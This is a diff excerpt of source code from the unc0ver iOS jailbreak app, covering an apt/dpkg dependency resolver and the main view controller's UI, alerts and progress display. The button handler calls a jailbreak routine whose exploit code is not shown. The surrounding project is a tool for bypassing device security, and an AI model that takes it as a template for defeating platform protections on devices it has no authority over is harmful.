|
||||
|
||||
*result = res == resSatisfied;
|
||||
return YES;
|
||||
}
|
||||
|
||||
NSArray *getDepsForPkg(NSString *pkg) {
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
return pkgs[pkg][@"Depends"];
|
||||
}
|
||||
|
||||
NSArray *getPreDepsForPkg(NSString *pkg) {
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
return pkgs[pkg][@"Pre-Depends"];
|
||||
}
|
||||
|
||||
NSArray *allDepsForPkg(NSString *pkg) {
|
||||
NSArray *deps = getDepsForPkg(pkg);
|
||||
NSArray *predeps = getPreDepsForPkg(pkg);
|
||||
if (deps) {
|
||||
return [deps arrayByAddingObjectsFromArray:predeps];
|
||||
}
|
||||
return predeps;
|
||||
}
|
||||
|
||||
NSArray *resolveDepsForPkgWithQueue(NSString *pkg, NSMutableArray *queue, BOOL preDeps) {
|
||||
if (pkg == nil) {
|
||||
LOG("I can't resolve deps for no pkg. WTF.");
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSArray *deps = preDeps?allDepsForPkg(pkg):getDepsForPkg(pkg);
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
if (queue == nil) {
|
||||
queue = [NSMutableArray new];
|
||||
}
|
||||
|
||||
NSRegularExpression *or = [NSRegularExpression regularExpressionWithPattern:@"\\s*([^\\|]+)\\s*\\|?" options:0 error:nil];
|
||||
for (NSString *dep in deps) {
|
||||
BOOL __block resolved = NO;
|
||||
[or enumerateMatchesInString:dep options:0 range:NSMakeRange(0, dep.length) usingBlock:^(NSTextCheckingResult * _Nullable result, NSMatchingFlags flags, BOOL * _Nonnull stop) {
|
||||
NSString *match = [dep substringWithRange:[result rangeAtIndex:1]];
|
||||
NSDictionary *ver = parseDependsOrProvides(match);
|
||||
// LOG("Match: %@ op: %@ ver: %@", ver[@"name"], ver[@"op"], ver[@"ver"]);
|
||||
match = ver[@"name"];
|
||||
if (pkgs[match] != nil) {
|
||||
if (ver[@"op"]) {
|
||||
compareDpkgVersion(pkgs[match][@"Version"], ver[@"op"], ver[@"ver"], &resolved);
|
||||
} else {
|
||||
resolved = YES;
|
||||
}
|
||||
if (resolved && ![queue containsObject:match]) {
|
||||
[queue addObject:match];
|
||||
if (resolveDepsForPkgWithQueue(match, queue, preDeps) == nil) {
|
||||
LOG("Unmarking %@ as resolved because deps could not be satisified", match);
|
||||
resolved = NO;
|
||||
[queue removeObject:match];
|
||||
} else {
|
||||
// Move to the end of the queue so deps are installed first
|
||||
[queue removeObject:match];
|
||||
[queue addObject:match];
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!resolved) {
|
||||
// LOG("Unable to resolve dep: %@ for %@ - trying provides", dep, pkg);
|
||||
for (NSString *pkg in pkgs.allKeys) {
|
||||
for (NSString *provide in pkgs[pkg][@"Provides"]) {
|
||||
NSDictionary *provided = parseDependsOrProvides(provide);
|
||||
if ([provided[@"name"] isEqualToString:match]) {
|
||||
if (ver[@"op"]) {
|
||||
if (provided[@"op"] && [provided[@"op"] isEqualToString:@"="]) {
|
||||
compareDpkgVersion(provided[@"ver"], ver[@"op"], ver[@"ver"], &resolved);
|
||||
}
|
||||
} else {
|
||||
resolved = YES;
|
||||
}
|
||||
}
|
||||
if (resolved && ![queue containsObject:pkg]) {
|
||||
[queue addObject:pkg];
|
||||
if (resolveDepsForPkgWithQueue(pkg, queue, preDeps) == nil) {
|
||||
LOG("Unmarking %@ as resolved because deps could not be satisified", match);
|
||||
resolved = NO;
|
||||
[queue removeObject:pkg];
|
||||
} else {
|
||||
[queue removeObject:pkg];
|
||||
[queue addObject:pkg];
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (resolved)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
*stop = resolved;
|
||||
}];
|
||||
if (!resolved) {
|
||||
LOG("Unable to resolve dep: %@ for %@", dep, pkg);
|
||||
return nil;
|
||||
}
|
||||
}
|
||||
if (![queue containsObject:pkg])
|
||||
[queue addObject:pkg];
|
||||
return queue;
|
||||
}
|
||||
|
||||
NSArray *resolveDepsForPkg(NSString *pkg, BOOL preDeps) {
|
||||
return resolveDepsForPkgWithQueue(pkg, nil, preDeps);
|
||||
}
|
||||
|
||||
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps, bool doInject) {
|
||||
NSArray *pkgsForPkg = resolveDepsForPkg(pkg, preDeps);
|
||||
if (pkgsForPkg == nil || pkgsForPkg.count < 1) {
|
||||
LOG("Found no pkgs to install for \"%@\"", pkg);
|
||||
return NO;
|
||||
}
|
||||
NSMutableArray *debsForPkg = [debsForPkgs(pkgsForPkg) mutableCopy];
|
||||
if (debsForPkg == nil) {
|
||||
LOG("Found no debs to install for \"%@\"", pkg);
|
||||
return NO;
|
||||
}
|
||||
if (installed != nil) {
|
||||
[debsForPkg removeObjectsInArray:installed];
|
||||
}
|
||||
if (debsForPkg.count < 1) {
|
||||
// Already installed all these
|
||||
return YES;
|
||||
}
|
||||
if (!extractDebs(debsForPkg, doInject)) {
|
||||
LOG("Failed to extract debs for \"%@\"", pkg);
|
||||
return NO;
|
||||
}
|
||||
[installed addObjectsFromArray:debsForPkg];
|
||||
return YES;
|
||||
}
|
||||
|
||||
NSDictionary *getPkgs(void) {
|
||||
static NSDictionary *pkgs = nil;
|
||||
static dispatch_once_t token;
|
||||
dispatch_once(&token, ^{
|
||||
NSMutableDictionary *mpkgs = [NSMutableDictionary new];
|
||||
NSString *pkgs_path = pathForResource(@"apt/Packages");
|
||||
if (pkgs_path == nil) {
|
||||
return;
|
||||
}
|
||||
|
||||
FILE *pkgs_file = fopen(pkgs_path.UTF8String, "r");
|
||||
if (pkgs_file == NULL) {
|
||||
return;
|
||||
}
|
||||
char *line = NULL;
|
||||
size_t linelen = 0;
|
||||
NSString *pkg_id = nil;
|
||||
while (getline(&line, &linelen, pkgs_file) != -1) {
|
||||
char *newline = strchr(line, '\n');
|
||||
if (newline) {
|
||||
*newline = '\0';
|
||||
}
|
||||
char *val = strchr(line, ':');
|
||||
if (val == NULL) {
|
||||
pkg_id = nil;
|
||||
continue;
|
||||
}
|
||||
char *field = line;
|
||||
field[val - line] = '\0';
|
||||
do {
|
||||
val++;
|
||||
} while (*val == ' ');
|
||||
if (strcmp(field, "Package") == 0) {
|
||||
pkg_id = @(val);
|
||||
mpkgs[pkg_id] = [NSMutableDictionary new];
|
||||
} else {
|
||||
if (![mpkgs[pkg_id] isKindOfClass:[NSMutableDictionary class]]) {
|
||||
LOG("Error reading Packages, Package: must come before values");
|
||||
fclose(pkgs_file);
|
||||
return;
|
||||
}
|
||||
// LOG(@"pkgs[%@][%s] = %s\n", pkg_id, field, val);
|
||||
if (strcmp(field, "Depends") == 0 ||
|
||||
strcmp(field, "Pre-Depends") == 0 ||
|
||||
strcmp(field, "Conflicts") == 0 ||
|
||||
strcmp(field, "Provides") == 0
|
||||
) {
|
||||
mpkgs[pkg_id][@(field)] = [@(val) componentsSeparatedByString:@", "];
|
||||
} else {
|
||||
mpkgs[pkg_id][@(field)] = @(val);
|
||||
}
|
||||
}
|
||||
}
|
||||
SafeFreeNULL(line);
|
||||
fclose(pkgs_file);
|
||||
|
||||
mpkgs[@"firmware"] = @{
|
||||
@"Version": [[UIDevice currentDevice] systemVersion],
|
||||
@"Filename": @"virtual"
|
||||
};
|
||||
mpkgs[@"firmware-sbin"] = @{
|
||||
@"Version": @"0-1",
|
||||
@"Filename": @"virtual"
|
||||
};
|
||||
|
||||
pkgs = [mpkgs copy];
|
||||
});
|
||||
return pkgs;
|
||||
}
|
||||
|
||||
NSString *debForPkg(NSString *pkg) {
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
NSString *file = pkgs[pkg][@"Filename"];
|
||||
if (file == nil) {
|
||||
LOG(@"file == nil");
|
||||
return nil;
|
||||
}
|
||||
if ([file isEqualToString:@"virtual"]) {
|
||||
return @"virtual";
|
||||
}
|
||||
|
||||
return pathForResource([@"apt" stringByAppendingPathComponent:file]);
|
||||
}
|
||||
|
||||
NSString *versionOfPkg(NSString *pkg) {
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
if (pkgs[pkg])
|
||||
return pkgs[pkg][@"Version"];
|
||||
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSArray <NSString*> *debsForPkgs(NSArray <NSString*> *pkgs) {
|
||||
NSMutableArray *paths = [NSMutableArray new];
|
||||
for (NSString* pkg in pkgs) {
|
||||
NSString *path = debForPkg(pkg);
|
||||
if (!path) {
|
||||
LOG("Unable to resolve %@ to a deb", pkg);
|
||||
return nil;
|
||||
}
|
||||
if (![path isEqualToString:@"virtual"])
|
||||
[paths addObject:path];
|
||||
}
|
||||
return [paths copy];
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
//
|
||||
// JailbreakViewController.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
#import <UIProgressHUD.h>
|
||||
#import "common.h"
|
||||
|
||||
#define _assert(test, message, fatal) do \
|
||||
if (!(test)) { \
|
||||
int saved_errno = errno; \
|
||||
LOG("_assert(%d:%s)@%s:%u[%s]", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__); \
|
||||
if (message != nil) \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s\nDescription: %@", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__, message], true, false); \
|
||||
else \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__], true, false); \
|
||||
if (fatal) { \
|
||||
if ([[JailbreakViewController sharedController] canExit]) {\
|
||||
exit(EXIT_FAILURE); \
|
||||
} else { \
|
||||
return; \
|
||||
} \
|
||||
errno = saved_errno; \
|
||||
} \
|
||||
} \
|
||||
while (false)
|
||||
|
||||
#define notice(msg, wait, destructive) showAlert(@"Notice", msg, wait, destructive)
|
||||
|
||||
#define status(msg, btnenbld, nvbenbld) do { \
|
||||
dispatch_async(dispatch_get_main_queue(), ^{ \
|
||||
if ([[[[[JailbreakViewController sharedController] goButton] titleLabel] text] isEqualToString:msg]) return; \
|
||||
LOG("Status: %@", msg); \
|
||||
[UIView performWithoutAnimation:^{ \
|
||||
[[[JailbreakViewController sharedController] goButton] setEnabled:btnenbld]; \
|
||||
[[[JailbreakViewController sharedController] settingsButton] setUserInteractionEnabled:nvbenbld]; \
|
||||
[[[JailbreakViewController sharedController] goButton] setTitle:msg forState: btnenbld ? UIControlStateNormal : UIControlStateDisabled]; \
|
||||
[[[JailbreakViewController sharedController] goButton] layoutIfNeeded]; \
|
||||
}]; \
|
||||
}); \
|
||||
} while (false)
|
||||
|
||||
#define progress(x) do { \
|
||||
dispatch_async(dispatch_get_main_queue(), ^{ \
|
||||
if ([[[[JailbreakViewController sharedController] exploitMessageLabel] text] isEqualToString:x]) return; \
|
||||
LOG("Progress: %@", x); \
|
||||
[[[JailbreakViewController sharedController] exploitMessageLabel] setText:x]; \
|
||||
}); \
|
||||
} while (false)
|
||||
|
||||
@interface JailbreakViewController : UIViewController
|
||||
@property (weak, nonatomic) IBOutlet UIButton *goButton;
|
||||
@property (weak, nonatomic) IBOutlet UITextView *outputView;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *darkModeButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *settingsButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *mainDevsButton;
|
||||
|
||||
@property (weak, nonatomic) IBOutlet UILabel *exploitProgressLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *exploitMessageLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *u0Label;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *uOVersionLabel;
|
||||
|
||||
@property (weak, nonatomic) IBOutlet UIProgressView *jailbreakProgressBar;
|
||||
|
||||
@property (weak, nonatomic) IBOutlet UIView *mainView;
|
||||
@property (weak, nonatomic) IBOutlet UIView *creditsView;
|
||||
@property (weak, nonatomic) IBOutlet UIView *settingsView;
|
||||
@property (weak, nonatomic) IBOutlet UIView *mainDevView;
|
||||
@property (weak, nonatomic) IBOutlet UIView *backgroundView;
|
||||
|
||||
@property (weak, nonatomic) IBOutlet UINavigationBar *settingsNavBar;
|
||||
@property (weak, nonatomic) IBOutlet UINavigationBar *creditsNavBar;
|
||||
|
||||
@property (weak, nonatomic) IBOutlet UILabel *jailbreakLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *byLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *uncoverLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *supportedOSLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *UIByLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *firstAndLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *fourthAndLabel;
|
||||
|
||||
|
||||
@property (readonly) JailbreakViewController *sharedController;
|
||||
@property (assign) BOOL canExit;
|
||||
|
||||
double uptime(void);
|
||||
|
||||
NSString *hexFromInt(NSInteger val);
|
||||
|
||||
- (IBAction)tappedOnJailbreak:(id)sender;
|
||||
+(JailbreakViewController*)sharedController;
|
||||
- (void)appendTextToOutput:(NSString*)text;
|
||||
- (void)updateStatus;
|
||||
|
||||
@end
|
||||
|
||||
static inline UIProgressHUD *addProgressHUD() {
|
||||
__block UIProgressHUD *hud = nil;
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
hud = [[UIProgressHUD alloc] init];
|
||||
[hud setAutoresizingMask:UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight];
|
||||
UIView *view = [[JailbreakViewController sharedController] view];
|
||||
[hud showInView:view];
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
});
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
return hud;
|
||||
}
|
||||
|
||||
static inline void removeProgressHUD(UIProgressHUD *hud) {
|
||||
if (hud == nil) {
|
||||
return;
|
||||
}
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[hud hide];
|
||||
[hud done];
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
});
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
|
||||
static inline void updateProgressHUD(UIProgressHUD *hud, NSString *msg) {
|
||||
if (hud == nil) {
|
||||
return;
|
||||
}
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[hud setText:msg];
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
});
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
|
||||
static inline void showAlertWithCancel(NSString *title, NSString *message, Boolean wait, Boolean destructive, NSString *cancel) {
|
||||
dispatch_semaphore_t semaphore;
|
||||
if (wait)
|
||||
semaphore = dispatch_semaphore_create(0);
|
||||
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
JailbreakViewController *controller = [JailbreakViewController sharedController];
|
||||
[controller dismissViewControllerAnimated:YES completion:nil];
|
||||
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *OK = [UIAlertAction actionWithTitle:@"OK" style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
controller.canExit = YES;
|
||||
if (wait)
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
}];
|
||||
[alertController addAction:OK];
|
||||
[alertController setPreferredAction:OK];
|
||||
if (cancel) {
|
||||
UIAlertAction *abort = [UIAlertAction actionWithTitle:cancel style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
controller.canExit = NO;
|
||||
if (wait)
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
}];
|
||||
[alertController addAction:abort];
|
||||
[alertController setPreferredAction:abort];
|
||||
}
|
||||
[controller presentViewController:alertController animated:YES completion:nil];
|
||||
});
|
||||
if (wait)
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
|
||||
static inline void showAlert(NSString *title, NSString *message, Boolean wait, Boolean destructive) {
|
||||
__block bool outputIsHidden;
|
||||
dispatch_block_t checkOutput = ^{
|
||||
outputIsHidden = [[[JailbreakViewController sharedController] outputView] isHidden];
|
||||
};
|
||||
|
||||
if ([[NSThread currentThread] isMainThread]) {
|
||||
checkOutput();
|
||||
} else {
|
||||
dispatch_sync(dispatch_get_main_queue(), checkOutput);
|
||||
}
|
||||
showAlertWithCancel(title, message, wait, destructive, outputIsHidden?nil:@"View Log");
|
||||
}
|
||||
@@ -0,0 +1,362 @@
|
||||
//
|
||||
// JailbreakViewController.m
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include <common.h>
|
||||
#include <sys/time.h>
|
||||
#import "JailbreakViewController.h"
|
||||
#import "SettingsTableViewController.h"
|
||||
#import "CreditsTableViewController.h"
|
||||
#include "jailbreak.h"
|
||||
#include "prefs.h"
|
||||
#include "utils.h"
|
||||
|
||||
@interface JailbreakViewController ()
|
||||
|
||||
@end
|
||||
|
||||
@implementation JailbreakViewController
|
||||
static JailbreakViewController *sharedController = nil;
|
||||
static NSMutableString *output = nil;
|
||||
static NSString *bundledResources = nil;
|
||||
extern int maxStage;
|
||||
|
||||
- (IBAction)tappedOnJailbreak:(id)sender
|
||||
{
|
||||
[self.exploitMessageLabel setAlpha:1];
|
||||
[self.exploitProgressLabel setAlpha:1];
|
||||
[self.jailbreakProgressBar setAlpha:1];
|
||||
|
||||
void (^const block)(void) = ^(void) {
|
||||
_assert(bundledResources != nil, localize(@"Bundled Resources version missing."), true);
|
||||
if (!jailbreakSupported()) {
|
||||
status(localize(@"Unsupported"), false, true);
|
||||
return;
|
||||
}
|
||||
jailbreak();
|
||||
};
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
}
|
||||
|
||||
- (void)updateStatus {
|
||||
prefs_t *prefs = copy_prefs();
|
||||
|
||||
if (!jailbreakSupported()) {
|
||||
status(localize(@"Unsupported"), false, true);
|
||||
progress(localize(@"Unsupported"));
|
||||
} else if (prefs->restore_rootfs) {
|
||||
status(localize(@"Restore RootFS"), true, true);
|
||||
progress(localize(@"Ready to restore RootFS"));
|
||||
} else if (jailbreakEnabled()) {
|
||||
status(localize(@"Re-Jailbreak"), true, true);
|
||||
progress(localize(@"Ready to re-jailbreak"));
|
||||
} else {
|
||||
status(localize(@"Jailbreak"), true, true);
|
||||
progress(localize(@"Ready to jailbreak"));
|
||||
}
|
||||
|
||||
release_prefs(&prefs);
|
||||
}
|
||||
|
||||
- (void)viewWillAppear:(BOOL)animated {
|
||||
[super viewWillAppear:animated];
|
||||
|
||||
[self.jailbreakProgressBar setProgress:0];
|
||||
[self.jailbreakProgressBar setTransform:CGAffineTransformScale(CGAffineTransformIdentity, 1, 2)];
|
||||
|
||||
[self.settingsView setTransform:CGAffineTransformScale(CGAffineTransformIdentity, 0.7, 0.7)];
|
||||
[self.settingsView setAlpha:0];
|
||||
[self.mainDevView setTransform:CGAffineTransformScale(CGAffineTransformIdentity, 0.7, 0.7)];
|
||||
[self.mainDevView setAlpha:0];
|
||||
[self.creditsView setTransform:CGAffineTransformScale(CGAffineTransformIdentity, 0.7, 0.7)];
|
||||
[self.creditsView setAlpha:0];
|
||||
}
|
||||
|
||||
- (void)viewDidLoad {
|
||||
[super viewDidLoad];
|
||||
_canExit = YES;
|
||||
// Do any additional setup after loading the view, typically from a nib.
|
||||
prefs_t *prefs = copy_prefs();
|
||||
|
||||
if (prefs->hide_log_window) {
|
||||
_outputView.hidden = YES;
|
||||
_outputView = nil;
|
||||
}
|
||||
|
||||
if (prefs->dark_mode) {
|
||||
[self darkMode];
|
||||
} else {
|
||||
[self lightMode];
|
||||
}
|
||||
|
||||
release_prefs(&prefs);
|
||||
|
||||
[self.settingsNavBar setBackgroundImage:[UIImage new] forBarMetrics:UIBarMetricsDefault];
|
||||
[self.settingsNavBar setShadowImage:[UIImage new]];
|
||||
[self.creditsNavBar setBackgroundImage:[UIImage new] forBarMetrics:UIBarMetricsDefault];
|
||||
[self.creditsNavBar setShadowImage:[UIImage new]];
|
||||
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(showSpeicalThanks:) name:@"showSpecialThanks" object:nil];
|
||||
[self.exploitProgressLabel setText:[NSString stringWithFormat:@"%d/%d", 0, maxStage]];
|
||||
[self.uOVersionLabel setText:[NSString stringWithFormat:@"unc0ver Version: %@", appVersion()]];
|
||||
|
||||
sharedController = self;
|
||||
bundledResources = bundledResourcesVersion();
|
||||
LOG("unc0ver Version: %@", appVersion());
|
||||
printOSDetails();
|
||||
LOG("Bundled Resources Version: %@", bundledResources);
|
||||
if (bundledResources == nil) {
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
|
||||
showAlert(localize(@"Error"), localize(@"Bundled Resources version is missing. This build is invalid."), false, false);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
- (void)darkMode {
|
||||
[[NSNotificationCenter defaultCenter] postNotificationName:@"darkModeSettings" object:self];
|
||||
[[NSNotificationCenter defaultCenter] postNotificationName:@"darkModeCredits" object:self];
|
||||
|
||||
[self.darkModeButton setImage:[UIImage imageNamed:@"DarkMode-Dark"] forState:UIControlStateNormal];
|
||||
[self.settingsButton setImage:[UIImage imageNamed:@"Settings-Dark"] forState:UIControlStateNormal];
|
||||
[self.exploitProgressLabel setTextColor:[UIColor whiteColor]];
|
||||
[self.exploitMessageLabel setTextColor:[UIColor whiteColor]];
|
||||
[self.u0Label setTextColor:[UIColor whiteColor]];
|
||||
[self.uOVersionLabel setTextColor:[UIColor whiteColor]];
|
||||
[self.jailbreakLabel setTextColor:[UIColor whiteColor]];
|
||||
[self.byLabel setTextColor:[UIColor whiteColor]];
|
||||
[self.UIByLabel setTextColor:[UIColor whiteColor]];
|
||||
[self.firstAndLabel setTextColor:[UIColor whiteColor]];
|
||||
[self.uncoverLabel setTextColor:[UIColor whiteColor]];
|
||||
[self.supportedOSLabel setTextColor:[UIColor whiteColor]];
|
||||
[self.fourthAndLabel setTextColor:[UIColor whiteColor]];
|
||||
[self.outputView setTextColor:[UIColor whiteColor]];
|
||||
[self.backgroundView setBackgroundColor:[UIColor colorWithRed:10.0f/255.0f green:13.0f/255.0f blue:17.0f/255.0f alpha:0.97f]];
|
||||
[self.mainDevsButton setTitleColor:[UIColor whiteColor] forState:normal];
|
||||
[self.settingsNavBar setTintColor:[UIColor whiteColor]];
|
||||
[self.settingsNavBar setTitleTextAttributes:@{NSForegroundColorAttributeName:[UIColor whiteColor]}];
|
||||
[self.settingsNavBar setLargeTitleTextAttributes:@{NSForegroundColorAttributeName:[UIColor whiteColor]}];
|
||||
[self.creditsNavBar setTintColor:[UIColor whiteColor]];
|
||||
[self.creditsNavBar setTitleTextAttributes:@{NSForegroundColorAttributeName:[UIColor whiteColor]}];
|
||||
[self.creditsNavBar setLargeTitleTextAttributes:@{NSForegroundColorAttributeName:[UIColor whiteColor]}];
|
||||
self.jailbreakProgressBar.trackTintColor = [UIColor blackColor];
|
||||
[self setNeedsStatusBarAppearanceUpdate];
|
||||
}
|
||||
|
||||
- (void)lightMode {
|
||||
[[NSNotificationCenter defaultCenter] postNotificationName:@"lightModeSettings" object:self];
|
||||
[[NSNotificationCenter defaultCenter] postNotificationName:@"lightModeCredits" object:self];
|
||||
|
||||
[self.darkModeButton setImage:[UIImage imageNamed:@"DarkMode-Light"] forState:UIControlStateNormal];
|
||||
[self.settingsButton setImage:[UIImage imageNamed:@"Settings-Light"] forState:UIControlStateNormal];
|
||||
[self.exploitProgressLabel setTextColor:[UIColor blackColor]];
|
||||
[self.exploitMessageLabel setTextColor:[UIColor blackColor]];
|
||||
[self.u0Label setTextColor:[UIColor blackColor]];
|
||||
[self.jailbreakLabel setTextColor:[UIColor blackColor]];
|
||||
[self.byLabel setTextColor:[UIColor blackColor]];
|
||||
[self.UIByLabel setTextColor:[UIColor blackColor]];
|
||||
[self.firstAndLabel setTextColor:[UIColor blackColor]];
|
||||
[self.fourthAndLabel setTextColor:[UIColor blackColor]];
|
||||
[self.uncoverLabel setTextColor:[UIColor blackColor]];
|
||||
[self.supportedOSLabel setTextColor:[UIColor blackColor]];
|
||||
[self.uOVersionLabel setTextColor:[UIColor blackColor]];
|
||||
[self.outputView setTextColor:[UIColor blackColor]];
|
||||
[self.backgroundView setBackgroundColor:[UIColor.whiteColor colorWithAlphaComponent:0.84]];
|
||||
[self.settingsNavBar setTintColor:[UIColor blackColor]];
|
||||
[self.settingsNavBar setTitleTextAttributes:@{NSForegroundColorAttributeName:[UIColor blackColor]}];
|
||||
[self.settingsNavBar setLargeTitleTextAttributes:@{NSForegroundColorAttributeName:[UIColor blackColor]}];
|
||||
[self.creditsNavBar setTintColor:[UIColor blackColor]];
|
||||
[self.creditsNavBar setTitleTextAttributes:@{NSForegroundColorAttributeName:[UIColor blackColor]}];
|
||||
[self.creditsNavBar setLargeTitleTextAttributes:@{NSForegroundColorAttributeName:[UIColor blackColor]}];
|
||||
self.jailbreakProgressBar.trackTintColor = [UIColor lightGrayColor];
|
||||
[self setNeedsStatusBarAppearanceUpdate];
|
||||
}
|
||||
|
||||
- (IBAction)enableDarkMode:(id)sender {
|
||||
prefs_t *prefs = copy_prefs();
|
||||
prefs->dark_mode = !prefs->dark_mode;
|
||||
set_prefs(prefs);
|
||||
[UIView animateWithDuration:0.5 delay:0 usingSpringWithDamping:1 initialSpringVelocity:1 options:UIViewAnimationOptionCurveEaseInOut animations:^{
|
||||
if (prefs->dark_mode) {
|
||||
[self darkMode];
|
||||
} else {
|
||||
[self lightMode];
|
||||
}
|
||||
} completion:nil];
|
||||
release_prefs(&prefs);
|
||||
}
|
||||
|
||||
- (void)didReceiveMemoryWarning {
|
||||
[super didReceiveMemoryWarning];
|
||||
// Dispose of any resources that can be recreated.
|
||||
}
|
||||
|
||||
- (UIStatusBarStyle)preferredStatusBarStyle {
|
||||
prefs_t *prefs = copy_prefs();
|
||||
UIStatusBarStyle statusBarStyle = prefs->dark_mode ? UIStatusBarStyleLightContent : UIStatusBarStyleDefault;
|
||||
release_prefs(&prefs);
|
||||
return statusBarStyle;
|
||||
}
|
||||
|
||||
- (IBAction)openSettings:(id)sender {
|
||||
[UIView animateWithDuration:0.5 delay:0 usingSpringWithDamping:1 initialSpringVelocity:1 options:UIViewAnimationOptionCurveEaseInOut animations:^{
|
||||
self.settingsView.transform = CGAffineTransformScale(CGAffineTransformIdentity, 1, 1);
|
||||
self.settingsView.alpha = 1;
|
||||
self.mainView.transform = CGAffineTransformScale(CGAffineTransformIdentity, 1.3, 1.3);
|
||||
self.mainView.alpha = 0;
|
||||
} completion:nil];
|
||||
}
|
||||
|
||||
- (void) showSpeicalThanks:(NSNotification *) notification {
|
||||
[UIView animateWithDuration:0.5 delay:0 usingSpringWithDamping:1 initialSpringVelocity:1 options:UIViewAnimationOptionCurveEaseInOut animations:^{
|
||||
self.creditsView.transform = CGAffineTransformScale(CGAffineTransformIdentity, 1, 1);
|
||||
self.creditsView.alpha = 1;
|
||||
self.settingsView.transform = CGAffineTransformScale(CGAffineTransformIdentity, 1.3, 1.3);
|
||||
self.settingsView.alpha = 0;
|
||||
} completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)dismissSpeicalThanks:(id)sender{
|
||||
[UIView animateWithDuration:0.5 delay:0 usingSpringWithDamping:1 initialSpringVelocity:1 options:UIViewAnimationOptionCurveEaseInOut animations:^{
|
||||
self.settingsView.transform = CGAffineTransformScale(CGAffineTransformIdentity, 1, 1);
|
||||
self.settingsView.alpha = 1;
|
||||
self.creditsView.transform = CGAffineTransformScale(CGAffineTransformIdentity, 0.7, 0.7);
|
||||
self.creditsView.alpha = 0;
|
||||
} completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)closeSettings:(id)sender{
|
||||
[UIView animateWithDuration:0.5 delay:0 usingSpringWithDamping:1 initialSpringVelocity:1 options:UIViewAnimationOptionCurveEaseInOut animations:^{
|
||||
self.mainView.transform = CGAffineTransformScale(CGAffineTransformIdentity, 1, 1);
|
||||
self.mainView.alpha = 1;
|
||||
self.settingsView.transform = CGAffineTransformScale(CGAffineTransformIdentity, 0.7, 0.7);
|
||||
self.settingsView.alpha = 0;
|
||||
} completion:nil];
|
||||
|
||||
[[NSNotificationCenter defaultCenter] postNotificationName:@"dismissKeyboard" object:self];
|
||||
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnPwn:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Pwn20wnd"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
